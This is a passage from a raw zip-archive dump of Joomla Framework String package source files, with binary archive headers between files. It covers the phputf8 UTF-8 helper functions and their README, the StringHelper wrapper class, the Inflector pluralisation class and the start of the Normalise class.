utf8_ireplace($search, $replace, $str, $count = NULL){ if ( !is_array($search) ) { $slen = strlen($search); if ( $slen == 0 ) { return $str; } $lendif = strlen($replace) - strlen($search); $search = utf8_strtolower($search); $search = preg_quote($search, '/'); $lstr = utf8_strtolower($str); $i = 0; $matched = 0; while ( preg_match('/(.*)'.$search.'/Us',$lstr, $matches) ) { if ( $i === $count ) { break; } $mlen = strlen($matches[0]); $lstr = substr($lstr, $mlen); $str = substr_replace($str, $replace, $matched+strlen($matches[1]), $slen); $matched += $mlen + $lendif; $i++; } return $str; } else { foreach ( array_keys($search) as $k ) { if ( is_array($replace) ) { if ( array_key_exists($k,$replace) ) { $str = utf8_ireplace($search[$k], $replace[$k], $str, $count); } else { $str = utf8_ireplace($search[$k], '', $str, $count); } } else { $str = utf8_ireplace($search[$k], $replace, $str, $count); } } return $str; } } PKÜ�\O�y�tt,vendor/joomla/string/src/phputf8/ucwords.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to ucwords * Uppercase the first character of each word in a string * Note: requires utf8_substr_replace and utf8_strtoupper * @param string * @return string with first char of each word uppercase * @see http://www.php.net/ucwords * @package utf8 */ function utf8_ucwords($str) { // Note: [\x0c\x09\x0b\x0a\x0d\x20] matches; // form feeds, horizontal tabs, vertical tabs, linefeeds and carriage returns // This corresponds to the definition of a "word" defined at http://www.php.net/ucwords $pattern = '/(^|([\x0c\x09\x0b\x0a\x0d\x20]+))([^\x0c\x09\x0b\x0a\x0d\x20]{1})[^\x0c\x09\x0b\x0a\x0d\x20]*/u'; return preg_replace_callback($pattern, 'utf8_ucwords_callback',$str); } //--------------------------------------------------------------- /** * Callback function for preg_replace_callback call in utf8_ucwords * You don't need to call this yourself * @param array of matches corresponding to a single word * @return string with first char of the word in uppercase * @see utf8_ucwords * @see utf8_strtoupper * @package utf8 */ function utf8_ucwords_callback($matches) { $leadingws = $matches[2]; $ucfirst = utf8_strtoupper($matches[3]); $ucword = utf8_substr_replace(ltrim($matches[0]),$ucfirst,0,1); return $leadingws . $ucword; } PKÜ�\�����'vendor/joomla/string/src/phputf8/READMEnu�[���++PHP UTF-8++ Version 0.5 ++DOCUMENTATION++ Documentation in progress in ./docs dir http://www.phpwact.org/php/i18n/charsets http://www.phpwact.org/php/i18n/utf-8 Important Note: DO NOT use these functions without understanding WHY you are using them. In particular, do not blindly replace all use of PHP's string functions which functions found here - most of the time you will not need to, and you will be introducing a significant performance overhead to your application. You can get a good idea of when to use what from reading: http://www.phpwact.org/php/i18n/utf-8 Important Note: For sake of performance most of the functions here are not "defensive" (e.g. there is not extensive parameter checking, well formed UTF-8 is assumed). This is particularily relevant when is comes to catching badly formed UTF-8 - you should screen input on the "outer perimeter" with help from functions in the utf8_validation.php and utf8_bad.php files. Important Note: this library treats ALL ASCII characters as valid, including ASCII control characters. But if you use some ASCII control characters in XML, it will render the XML ill-formed. Don't be a bozo: http://hsivonen.iki.fi/producing-xml/#controlchar ++BUGS / SUPPORT / FEATURE REQUESTS ++ Please report bugs to: http://sourceforge.net/tracker/?group_id=142846&atid=753842 - if you are able, please submit a failing unit test (http://www.lastcraft.com/simple_test.php) with your bug report. For feature requests / faster implementation of functions found here, please drop them in via the RFE tracker: http://sourceforge.net/tracker/?group_id=142846&atid=753845 Particularily interested in faster implementations! For general support / help, use: http://sourceforge.net/tracker/?group_id=142846&atid=753843 In the VERY WORST case, you can email me: hfuecks gmail com - I tend to be slow to respond though so be warned. Important Note: when reporting bugs, please provide the following information; PHP version, whether the iconv extension is loaded (in PHP5 it's there by default), whether the mbstring extension is loaded. The following PHP script can be used to determine this information; <?php print "PHP Version: " .phpversion()."<br>"; if ( extension_loaded('mbstring') ) { print "mbstring available<br>"; } else { print "mbstring not available<br>"; } if ( extension_loaded('iconv') ) { print "iconv available<br>"; } else { print "iconv not available<br>"; } ?> ++LICENSING++ Parts of the code in this library come from other places, under different licenses. The authors involved have been contacted (see below). Attribution for which code came from elsewhere can be found in the source code itself. +Andreas Gohr / Chris Smith - Dokuwiki There is a fair degree of collaboration / exchange of ideas and code beteen Dokuwiki's UTF-8 library; http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php and phputf8. Although Dokuwiki is released under GPL, its UTF-8 library is released under LGPL, hence no conflict with phputf8 +Henri Sivonen (http://hsivonen.iki.fi/php-utf8/ / http://hsivonen.iki.fi/php-utf8/) has also given permission for his code to be released under the terms of the LGPL. He ported a Unicode / UTF-8 converter from the Mozilla codebase to PHP, which is re-used in phputf8 PKÜ�\���RR)vendor/joomla/string/src/phputf8/trim.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware replacement for ltrim() * Note: you only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise ltrim will * work normally on a UTF-8 string * @author Andreas Gohr <andi@splitbrain.org> * @see http://www.php.net/ltrim * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @return string * @package utf8 */ function utf8_ltrim( $str, $charlist = FALSE ) { if($charlist === FALSE) return ltrim($str); //quote charlist for use in a characterclass $charlist = preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$charlist); return preg_replace('/^['.$charlist.']+/u','',$str); } //--------------------------------------------------------------- /** * UTF-8 aware replacement for rtrim() * Note: you only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise rtrim will * work normally on a UTF-8 string * @author Andreas Gohr <andi@splitbrain.org> * @see http://www.php.net/rtrim * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @return string * @package utf8 */ function utf8_rtrim( $str, $charlist = FALSE ) { if($charlist === FALSE) return rtrim($str); //quote charlist for use in a characterclass $charlist = preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$charlist); return preg_replace('/['.$charlist.']+$/u','',$str); } //--------------------------------------------------------------- /** * UTF-8 aware replacement for trim() * Note: you only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise trim will * work normally on a UTF-8 string * @author Andreas Gohr <andi@splitbrain.org> * @see http://www.php.net/trim * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @return string * @package utf8 */ function utf8_trim( $str, $charlist = FALSE ) { if($charlist === FALSE) return trim($str); return utf8_ltrim(utf8_rtrim($str, $charlist), $charlist); } PKÜ�\ I�� W W)vendor/joomla/string/src/StringHelper.phpnu�[���<?php /** * Part of the Joomla Framework String Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\String; // PHP mbstring and iconv local configuration if (version_compare(PHP_VERSION, '5.6', '>=')) { @ini_set('default_charset', 'UTF-8'); } else { // Check if mbstring extension is loaded and attempt to load it if not present except for windows if (\extension_loaded('mbstring')) { @ini_set('mbstring.internal_encoding', 'UTF-8'); @ini_set('mbstring.http_input', 'UTF-8'); @ini_set('mbstring.http_output', 'UTF-8'); } // Same for iconv if (\function_exists('iconv')) { iconv_set_encoding('internal_encoding', 'UTF-8'); iconv_set_encoding('input_encoding', 'UTF-8'); iconv_set_encoding('output_encoding', 'UTF-8'); } } /** * String handling class for UTF-8 data wrapping the phputf8 library. All functions assume the validity of UTF-8 strings. * * @since 1.3.0 */ abstract class StringHelper { /** * Increment styles. * * @var array * @since 1.3.0 */ protected static $incrementStyles = array( 'dash' => array( '#-(\d+)$#', '-%d', ), 'default' => array( array('#\((\d+)\)$#', '#\(\d+\)$#'), array(' (%d)', '(%d)'), ), ); /** * Increments a trailing number in a string. * * Used to easily create distinct labels when copying objects. The method has the following styles: * * default: "Label" becomes "Label (2)" * dash: "Label" becomes "Label-2" * * @param string $string The source string. * @param string $style The the style (default|dash). * @param integer $n If supplied, this number is used for the copy, otherwise it is the 'next' number. * * @return string The incremented string. * * @since 1.3.0 */ public static function increment($string, $style = 'default', $n = 0) { $styleSpec = isset(static::$incrementStyles[$style]) ? static::$incrementStyles[$style] : static::$incrementStyles['default']; // Regular expression search and replace patterns. if (\is_array($styleSpec[0])) { $rxSearch = $styleSpec[0][0]; $rxReplace = $styleSpec[0][1]; } else { $rxSearch = $rxReplace = $styleSpec[0]; } // New and old (existing) sprintf formats. if (\is_array($styleSpec[1])) { $newFormat = $styleSpec[1][0]; $oldFormat = $styleSpec[1][1]; } else { $newFormat = $oldFormat = $styleSpec[1]; } // Check if we are incrementing an existing pattern, or appending a new one. if (preg_match($rxSearch, $string, $matches)) { $n = empty($n) ? ($matches[1] + 1) : $n; $string = preg_replace($rxReplace, sprintf($oldFormat, $n), $string); } else { $n = empty($n) ? 2 : $n; $string .= sprintf($newFormat, $n); } return $string; } /** * Tests whether a string contains only 7bit ASCII bytes. * * You might use this to conditionally check whether a string needs handling as UTF-8 or not, potentially offering performance * benefits by using the native PHP equivalent if it's just ASCII e.g.; * * <code> * if (StringHelper::is_ascii($someString)) * { * // It's just ASCII - use the native PHP version * $someString = strtolower($someString); * } * else * { * $someString = StringHelper::strtolower($someString); * } * </code> * * @param string $str The string to test. * * @return boolean True if the string is all ASCII * * @since 1.3.0 */ public static function is_ascii($str) { return utf8_is_ascii($str); } /** * UTF-8 aware alternative to ord() * * Returns the unicode ordinal for a character. * * @param string $chr UTF-8 encoded character * * @return integer Unicode ordinal for the character * * @link https://www.php.net/ord * @since 1.4.0 */ public static function ord($chr) { return utf8_ord($chr); } /** * UTF-8 aware alternative to strpos() * * Find position of first occurrence of a string. * * @param string $str String being examined * @param string $search String being searched for * @param integer $offset Optional, specifies the position from which the search should be performed * * @return integer|boolean Number of characters before the first match or FALSE on failure * * @link https://www.php.net/strpos * @since 1.3.0 */ public static function strpos($str, $search, $offset = false) { if ($offset === false) { return utf8_strpos($str, $search); } return utf8_strpos($str, $search, $offset); } /** * UTF-8 aware alternative to strrpos() * * Finds position of last occurrence of a string. * * @param string $str String being examined. * @param string $search String being searched for. * @param integer $offset Offset from the left of the string. * * @return integer|boolean Number of characters before the last match or false on failure * * @link https://www.php.net/strrpos * @since 1.3.0 */ public static function strrpos($str, $search, $offset = 0) { return utf8_strrpos($str, $search, $offset); } /** * UTF-8 aware alternative to substr() * * Return part of a string given character offset (and optionally length). * * @param string $str String being processed * @param integer $offset Number of UTF-8 characters offset (from left) * @param integer $length Optional length in UTF-8 characters from offset * * @return string|boolean * * @link https://www.php.net/substr * @since 1.3.0 */ public static function substr($str, $offset, $length = false) { if ($length === false) { return utf8_substr($str, $offset); } return utf8_substr($str, $offset, $length); } /** * UTF-8 aware alternative to strtolower() * * Make a string lowercase * * Note: The concept of a characters "case" only exists is some alphabets such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard Annex #21: Case Mappings * * @param string $str String being processed * * @return string|boolean Either string in lowercase or FALSE is UTF-8 invalid * * @link https://www.php.net/strtolower * @since 1.3.0 */ public static function strtolower($str) { return utf8_strtolower($str); } /** * UTF-8 aware alternative to strtoupper() * * Make a string uppercase * * Note: The concept of a characters "case" only exists is some alphabets such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard Annex #21: Case Mappings * * @param string $str String being processed * * @return string|boolean Either string in uppercase or FALSE is UTF-8 invalid * * @link https://www.php.net/strtoupper * @since 1.3.0 */ public static function strtoupper($str) { return utf8_strtoupper($str); } /** * UTF-8 aware alternative to strlen() * * Returns the number of characters in the string (NOT THE NUMBER OF BYTES). * * @param string $str UTF-8 string. * * @return integer Number of UTF-8 characters in string. * * @link https://www.php.net/strlen * @since 1.3.0 */ public static function strlen($str) { return utf8_strlen($str); } /** * UTF-8 aware alternative to str_ireplace() * * Case-insensitive version of str_replace() * * @param string $search String to search * @param string $replace Existing string to replace * @param string $str New string to replace with * @param integer $count Optional count value to be passed by reference * * @return string UTF-8 String * * @link https://www.php.net/str_ireplace * @since 1.3.0 */ public static function str_ireplace($search, $replace, $str, $count = null) { if ($count === false) { return utf8_ireplace($search, $replace, $str); } return utf8_ireplace($search, $replace, $str, $count); } /** * UTF-8 aware alternative to str_pad() * * Pad a string to a certain length with another string. * $padStr may contain multi-byte characters. * * @param string $input The input string. * @param integer $length If the value is negative, less than, or equal to the length of the input string, no padding takes place. * @param string $padStr The string may be truncated if the number of padding characters can't be evenly divided by the string's length. * @param integer $type The type of padding to apply * * @return string * * @link https://www.php.net/str_pad * @since 1.4.0 */ public static function str_pad($input, $length, $padStr = ' ', $type = STR_PAD_RIGHT) { return utf8_str_pad($input, $length, $padStr, $type); } /** * UTF-8 aware alternative to str_split() * * Convert a string to an array. * * @param string $str UTF-8 encoded string to process * @param integer $splitLen Number to characters to split string by * * @return array * * @link https://www.php.net/str_split * @since 1.3.0 */ public static function str_split($str, $splitLen = 1) { return utf8_str_split($str, $splitLen); } /** * UTF-8/LOCALE aware alternative to strcasecmp() * * A case insensitive string comparison. * * @param string $str1 string 1 to compare * @param string $str2 string 2 to compare * @param mixed $locale The locale used by strcoll or false to use classical comparison * * @return integer < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. * * @link https://www.php.net/strcasecmp * @link https://www.php.net/strcoll * @link https://www.php.net/setlocale * @since 1.3.0 */ public static function strcasecmp($str1, $str2, $locale = false) { if ($locale) { // Get current locale $locale0 = setlocale(LC_COLLATE, 0); if (!$locale = setlocale(LC_COLLATE, $locale)) { $locale = $locale0; } // See if we have successfully set locale to UTF-8 if (!stristr($locale, 'UTF-8') && stristr($locale, '_') && preg_match('~\.(\d+)$~', $locale, $m)) { $encoding = 'CP' . $m[1]; } elseif (stristr($locale, 'UTF-8') || stristr($locale, 'utf8')) { $encoding = 'UTF-8'; } else { $encoding = 'nonrecodable'; } // If we successfully set encoding it to utf-8 or encoding is sth weird don't recode if ($encoding == 'UTF-8' || $encoding == 'nonrecodable') { return strcoll(utf8_strtolower($str1), utf8_strtolower($str2)); } return strcoll( static::transcode(utf8_strtolower($str1), 'UTF-8', $encoding), static::transcode(utf8_strtolower($str2), 'UTF-8', $encoding) ); } return utf8_strcasecmp($str1, $str2); } /** * UTF-8/LOCALE aware alternative to strcmp() * * A case sensitive string comparison. * * @param string $str1 string 1 to compare * @param string $str2 string 2 to compare * @param mixed $locale The locale used by strcoll or false to use classical comparison * * @return integer < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. * * @link https://www.php.net/strcmp * @link https://www.php.net/strcoll * @link https://www.php.net/setlocale * @since 1.3.0 */ public static function strcmp($str1, $str2, $locale = false) { if ($locale) { // Get current locale $locale0 = setlocale(LC_COLLATE, 0); if (!$locale = setlocale(LC_COLLATE, $locale)) { $locale = $locale0; } // See if we have successfully set locale to UTF-8 if (!stristr($locale, 'UTF-8') && stristr($locale, '_') && preg_match('~\.(\d+)$~', $locale, $m)) { $encoding = 'CP' . $m[1]; } elseif (stristr($locale, 'UTF-8') || stristr($locale, 'utf8')) { $encoding = 'UTF-8'; } else { $encoding = 'nonrecodable'; } // If we successfully set encoding it to utf-8 or encoding is sth weird don't recode if ($encoding == 'UTF-8' || $encoding == 'nonrecodable') { return strcoll($str1, $str2); } return strcoll(static::transcode($str1, 'UTF-8', $encoding), static::transcode($str2, 'UTF-8', $encoding)); } return strcmp($str1, $str2); } /** * UTF-8 aware alternative to strcspn() * * Find length of initial segment not matching mask. * * @param string $str The string to process * @param string $mask The mask * @param integer $start Optional starting character position (in characters) * @param integer $length Optional length * * @return integer The length of the initial segment of str1 which does not contain any of the characters in str2 * * @link https://www.php.net/strcspn * @since 1.3.0 */ public static function strcspn($str, $mask, $start = null, $length = null) { if ($start === false && $length === false) { return utf8_strcspn($str, $mask); } if ($length === false) { return utf8_strcspn($str, $mask, $start); } return utf8_strcspn($str, $mask, $start, $length); } /** * UTF-8 aware alternative to stristr() * * Returns all of haystack from the first occurrence of needle to the end. Needle and haystack are examined in a case-insensitive manner to * find the first occurrence of a string using case insensitive comparison. * * @param string $str The haystack * @param string $search The needle * * @return string the sub string * * @link https://www.php.net/stristr * @since 1.3.0 */ public static function stristr($str, $search) { return utf8_stristr($str, $search); } /** * UTF-8 aware alternative to strrev() * * Reverse a string. * * @param string $str String to be reversed * * @return string The string in reverse character order * * @link https://www.php.net/strrev * @since 1.3.0 */ public static function strrev($str) { return utf8_strrev($str); } /** * UTF-8 aware alternative to strspn() * * Find length of initial segment matching mask. * * @param string $str The haystack * @param string $mask The mask * @param integer $start Start optional * @param integer $length Length optional * * @return integer * * @link https://www.php.net/strspn * @since 1.3.0 */ public static function strspn($str, $mask, $start = null, $length = null) { if ($start === null && $length === null) { return utf8_strspn($str, $mask); } if ($length === null) { return utf8_strspn($str, $mask, $start); } return utf8_strspn($str, $mask, $start, $length); } /** * UTF-8 aware alternative to substr_replace() * * Replace text within a portion of a string. * * @param string $str The haystack * @param string $repl The replacement string * @param integer $start Start * @param integer $length Length (optional) * * @return string * * @link https://www.php.net/substr_replace * @since 1.3.0 */ public static function substr_replace($str, $repl, $start, $length = null) { // Loaded by library loader if ($length === false) { return utf8_substr_replace($str, $repl, $start); } return utf8_substr_replace($str, $repl, $start, $length); } /** * UTF-8 aware replacement for ltrim() * * Strip whitespace (or other characters) from the beginning of a string. You only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise ltrim will work normally on a UTF-8 string. * * @param string $str The string to be trimmed * @param string $charlist The optional charlist of additional characters to trim * * @return string The trimmed string * * @link https://www.php.net/ltrim * @since 1.3.0 */ public static function ltrim($str, $charlist = false) { if (empty($charlist) && $charlist !== false) { return $str; } if ($charlist === false) { return utf8_ltrim($str); } return utf8_ltrim($str, $charlist); } /** * UTF-8 aware replacement for rtrim() * * Strip whitespace (or other characters) from the end of a string. You only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise rtrim will work normally on a UTF-8 string. * * @param string $str The string to be trimmed * @param string $charlist The optional charlist of additional characters to trim * * @return string The trimmed string * * @link https://www.php.net/rtrim * @since 1.3.0 */ public static function rtrim($str, $charlist = false) { if (empty($charlist) && $charlist !== false) { return $str; } if ($charlist === false) { return utf8_rtrim($str); } return utf8_rtrim($str, $charlist); } /** * UTF-8 aware replacement for trim() * * Strip whitespace (or other characters) from the beginning and end of a string. You only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise trim will work normally on a UTF-8 string * * @param string $str The string to be trimmed * @param string $charlist The optional charlist of additional characters to trim * * @return string The trimmed string * * @link https://www.php.net/trim * @since 1.3.0 */ public static function trim($str, $charlist = false) { if (empty($charlist) && $charlist !== false) { return $str; } if ($charlist === false) { return utf8_trim($str); } return utf8_trim($str, $charlist); } /** * UTF-8 aware alternative to ucfirst() * * Make a string's first character uppercase or all words' first character uppercase. * * @param string $str String to be processed * @param string $delimiter The words delimiter (null means do not split the string) * @param string $newDelimiter The new words delimiter (null means equal to $delimiter) * * @return string If $delimiter is null, return the string with first character as upper case (if applicable) * else consider the string of words separated by the delimiter, apply the ucfirst to each words * and return the string with the new delimiter * * @link https://www.php.net/ucfirst * @since 1.3.0 */ public static function ucfirst($str, $delimiter = null, $newDelimiter = null) { if ($delimiter === null) { return utf8_ucfirst($str); } if ($newDelimiter === null) { $newDelimiter = $delimiter; } return implode($newDelimiter, array_map('utf8_ucfirst', explode($delimiter, $str))); } /** * UTF-8 aware alternative to ucwords() * * Uppercase the first character of each word in a string. * * @param string $str String to be processed * * @return string String with first char of each word uppercase * * @link https://www.php.net/ucwords * @since 1.3.0 */ public static function ucwords($str) { return utf8_ucwords($str); } /** * Transcode a string. * * @param string $source The string to transcode. * @param string $fromEncoding The source encoding. * @param string $toEncoding The target encoding. * * @return mixed The transcoded string, or null if the source was not a string. * * @link https://bugs.php.net/bug.php?id=48147 * * @since 1.3.0 */ public static function transcode($source, $fromEncoding, $toEncoding) { if (\is_string($source)) { switch (ICONV_IMPL) { case 'glibc': return @iconv($fromEncoding, $toEncoding . '//TRANSLIT,IGNORE', $source); case 'libiconv': default: return iconv($fromEncoding, $toEncoding . '//IGNORE//TRANSLIT', $source); } } } /** * Tests a string as to whether it's valid UTF-8 and supported by the Unicode standard. * * Note: this function has been modified to simple return true or false. * * @param string $str UTF-8 encoded string. * * @return boolean true if valid * * @author <hsivonen@iki.fi> * @link https://hsivonen.fi/php-utf8/ * @see compliant * @since 1.3.0 */ public static function valid($str) { return utf8_is_valid($str); } /** * Tests whether a string complies as UTF-8. * * This will be much faster than StringHelper::valid() but will pass five and six octet UTF-8 sequences, which are not supported by Unicode and * so cannot be displayed correctly in a browser. In other words it is not as strict as StringHelper::valid() but it's faster. If you use it to * validate user input, you place yourself at the risk that attackers will be able to inject 5 and 6 byte sequences (which may or may not be a * significant risk, depending on what you are are doing). * * @param string $str UTF-8 string to check * * @return boolean TRUE if string is valid UTF-8 * * @see StringHelper::valid * @link https://www.php.net/manual/en/reference.pcre.pattern.modifiers.php#54805 * @since 1.3.0 */ public static function compliant($str) { return utf8_compliant($str); } /** * Converts Unicode sequences to UTF-8 string. * * @param string $str Unicode string to convert * * @return string UTF-8 string * * @since 1.3.0 */ public static function unicode_to_utf8($str) { if (\extension_loaded('mbstring')) { return preg_replace_callback( '/\\\\u([0-9a-fA-F]{4})/', function ($match) { return mb_convert_encoding(pack('H*', $match[1]), 'UTF-8', 'UCS-2BE'); }, $str ); } return $str; } /** * Converts Unicode sequences to UTF-16 string. * * @param string $str Unicode string to convert * * @return string UTF-16 string * * @since 1.3.0 */ public static function unicode_to_utf16($str) { if (\extension_loaded('mbstring')) { return preg_replace_callback( '/\\\\u([0-9a-fA-F]{4})/', function ($match) { return mb_convert_encoding(pack('H*', $match[1]), 'UTF-8', 'UTF-16BE'); }, $str ); } return $str; } } PKÜ�\�'۲�-�-&vendor/joomla/string/src/Inflector.phpnu�[���<?php /** * Part of the Joomla Framework String Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\String; use InvalidArgumentException; /** * Joomla Framework String Inflector Class * * The Inflector transforms words * * @since 1.0 */ class Inflector { /** * The singleton instance. * * @var Inflector * @since 1.0 */ private static $instance; /** * The inflector rules for singularisation, pluralisation and countability. * * @var array * @since 1.0 */ private $rules = array( 'singular' => array( '/(matr)ices$/i' => '\1ix', '/(vert|ind)ices$/i' => '\1ex', '/(alumn|bacill|cact|foc|fung|nucle|radi|stimul|syllab|termin|viri?)i$/i' => '\1us', '/([ftw]ax)es/i' => '\1', '/(cris|ax|test)es$/i' => '\1is', '/(shoe|slave)s$/i' => '\1', '/(o)es$/i' => '\1', '/([^aeiouy]|qu)ies$/i' => '\1y', '/$1ses$/i' => '\s', '/ses$/i' => '\s', '/eaus$/' => 'eau', '/^(.*us)$/' => '\\1', '/s$/i' => '', ), 'plural' => array( '/([m|l])ouse$/i' => '\1ice', '/(matr|vert|ind)(ix|ex)$/i' => '\1ices', '/(x|ch|ss|sh)$/i' => '\1es', '/([^aeiouy]|qu)y$/i' => '\1ies', '/([^aeiouy]|qu)ies$/i' => '\1y', '/(?:([^f])fe|([lr])f)$/i' => '\1\2ves', '/sis$/i' => 'ses', '/([ti])um$/i' => '\1a', '/(buffal|tomat)o$/i' => '\1\2oes', '/(alumn|bacill|cact|foc|fung|nucle|radi|stimul|syllab|termin|vir)us$/i' => '\1i', '/us$/i' => 'uses', '/(ax|cris|test)is$/i' => '\1es', '/s$/i' => 's', '/$/' => 's', ), 'countable' => array( 'id', 'hits', 'clicks', ), ); /** * Cached inflections. * * The array is in the form [singular => plural] * * @var string[] * @since 1.0 */ private $cache = array(); /** * Protected constructor. * * @since 1.0 */ protected function __construct() { // Pre=populate the irregual singular/plural. $this ->addWord('deer') ->addWord('moose') ->addWord('sheep') ->addWord('bison') ->addWord('salmon') ->addWord('pike') ->addWord('trout') ->addWord('fish') ->addWord('swine') ->addWord('alias', 'aliases') ->addWord('bus', 'buses') ->addWord('foot', 'feet') ->addWord('goose', 'geese') ->addWord('hive', 'hives') ->addWord('louse', 'lice') ->addWord('man', 'men') ->addWord('mouse', 'mice') ->addWord('ox', 'oxen') ->addWord('quiz', 'quizes') ->addWord('status', 'statuses') ->addWord('tooth', 'teeth') ->addWord('woman', 'women'); } /** * Adds inflection regex rules to the inflector. * * @param mixed $data A string or an array of strings or regex rules to add. * @param string $ruleType The rule type: singular | plural | countable * * @return void * * @since 1.0 * @throws InvalidArgumentException */ private function addRule($data, $ruleType) { if (\is_string($data)) { $data = array($data); } elseif (!\is_array($data)) { // Do not translate. throw new InvalidArgumentException('Invalid inflector rule data.'); } foreach ($data as $rule) { // Ensure a string is pushed. array_push($this->rules[$ruleType], (string) $rule); } } /** * Gets an inflected word from the cache where the singular form is supplied. * * @param string $singular A singular form of a word. * * @return string|boolean The cached inflection or false if none found. * * @since 1.0 */ private function getCachedPlural($singular) { $singular = StringHelper::strtolower($singular); // Check if the word is in cache. if (isset($this->cache[$singular])) { return $this->cache[$singular]; } return false; } /** * Gets an inflected word from the cache where the plural form is supplied. * * @param string $plural A plural form of a word. * * @return string|boolean The cached inflection or false if none found. * * @since 1.0 */ private function getCachedSingular($plural) { $plural = StringHelper::strtolower($plural); return array_search($plural, $this->cache); } /** * Execute a regex from rules. * * The 'plural' rule type expects a singular word. * The 'singular' rule type expects a plural word. * * @param string $word The string input. * @param string $ruleType String (eg, singular|plural) * * @return string|boolean An inflected string, or false if no rule could be applied. * * @since 1.0 */ private function matchRegexRule($word, $ruleType) { // Cycle through the regex rules. foreach ($this->rules[$ruleType] as $regex => $replacement) { $matches = 0; $matchedWord = preg_replace($regex, $replacement, $word, -1, $matches); if ($matches > 0) { return $matchedWord; } } return false; } /** * Sets an inflected word in the cache. * * @param string $singular The singular form of the word. * @param string $plural The plural form of the word. If omitted, it is assumed the singular and plural are identical. * * @return void * * @since 1.0 */ private function setCache($singular, $plural = null) { $singular = StringHelper::strtolower($singular); if ($plural === null) { $plural = $singular; } else { $plural = StringHelper::strtolower($plural); } $this->cache[$singular] = $plural; } /** * Adds a countable word. * * @param mixed $data A string or an array of strings to add. * * @return Inflector Returns this object to support chaining. * * @since 1.0 */ public function addCountableRule($data) { $this->addRule($data, 'countable'); return $this; } /** * Adds a specific singular-plural pair for a word. * * @param string $singular The singular form of the word. * @param string $plural The plural form of the word. If omitted, it is assumed the singular and plural are identical. * * @return Inflector Returns this object to support chaining. * * @since 1.0 */ public function addWord($singular, $plural =null) { $this->setCache($singular, $plural); return $this; } /** * Adds a pluralisation rule. * * @param mixed $data A string or an array of regex rules to add. * * @return Inflector Returns this object to support chaining. * * @since 1.0 */ public function addPluraliseRule($data) { $this->addRule($data, 'plural'); return $this; } /** * Adds a singularisation rule. * * @param mixed $data A string or an array of regex rules to add. * * @return Inflector Returns this object to support chaining. * * @since 1.0 */ public function addSingulariseRule($data) { $this->addRule($data, 'singular'); return $this; } /** * Gets an instance of the JStringInflector singleton. * * @param boolean $new If true (default is false), returns a new instance regardless if one exists. * This argument is mainly used for testing. * * @return Inflector * * @since 1.0 */ public static function getInstance($new = false) { if ($new) { return new static; } if (!\is_object(self::$instance)) { self::$instance = new static; } return self::$instance; } /** * Checks if a word is countable. * * @param string $word The string input. * * @return boolean True if word is countable, false otherwise. * * @since 1.0 */ public function isCountable($word) { return \in_array($word, $this->rules['countable']); } /** * Checks if a word is in a plural form. * * @param string $word The string input. * * @return boolean True if word is plural, false if not. * * @since 1.0 */ public function isPlural($word) { // Try the cache for a known inflection. $inflection = $this->getCachedSingular($word); if ($inflection !== false) { return true; } $singularWord = $this->toSingular($word); if ($singularWord === false) { return false; } // Compute the inflection to cache the values, and compare. return $this->toPlural($singularWord) == $word; } /** * Checks if a word is in a singular form. * * @param string $word The string input. * * @return boolean True if word is singular, false if not. * * @since 1.0 */ public function isSingular($word) { // Try the cache for a known inflection. $inflection = $this->getCachedPlural($word); if ($inflection !== false) { return true; } $pluralWord = $this->toPlural($word); if ($pluralWord === false) { return false; } // Compute the inflection to cache the values, and compare. return $this->toSingular($pluralWord) == $word; } /** * Converts a word into its plural form. * * @param string $word The singular word to pluralise. * * @return string|boolean An inflected string, or false if no rule could be applied. * * @since 1.0 */ public function toPlural($word) { // Try to get the cached plural form from the singular. $cache = $this->getCachedPlural($word); if ($cache !== false) { return $cache; } // Check if the word is a known singular. if ($this->getCachedSingular($word)) { return false; } // Compute the inflection. $inflected = $this->matchRegexRule($word, 'plural'); if ($inflected !== false) { $this->setCache($word, $inflected); return $inflected; } // Dead code return false; } /** * Converts a word into its singular form. * * @param string $word The plural word to singularise. * * @return string|boolean An inflected string, or false if no rule could be applied. * * @since 1.0 */ public function toSingular($word) { // Try to get the cached singular form from the plural. $cache = $this->getCachedSingular($word); if ($cache !== false) { return $cache; } // Check if the word is a known plural. if ($this->getCachedPlural($word)) { return false; } // Compute the inflection. $inflected = $this->matchRegexRule($word, 'singular'); if ($inflected !== false) { $this->setCache($inflected, $word); return $inflected; } return false; } } PKÜ�\*5Jx��&vendor/joomla/string/src/Normalise.phpnu�[���<?php /** * Part of the Joomla Framework String Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\String; /** * Joomla Framework String Normalise Class * * @since 1.0 */ abstract class Normalise { /** * Method to convert a string from camel case. * * This method offers two modes. Grouped allows for splitting on groups of uppercase characters as follows: * * "FooBarABCDef" becomes array("Foo", "Bar", "ABC", "Def") * "JFooBar" becomes array("J", "Foo", "Bar") * "J001FooBar002" becomes array("J001", "Foo", "Bar002") * "abcDef" becomes array("abc", "Def") * "abc_defGhi_Jkl" becomes array("abc_def", "Ghi_Jkl") * 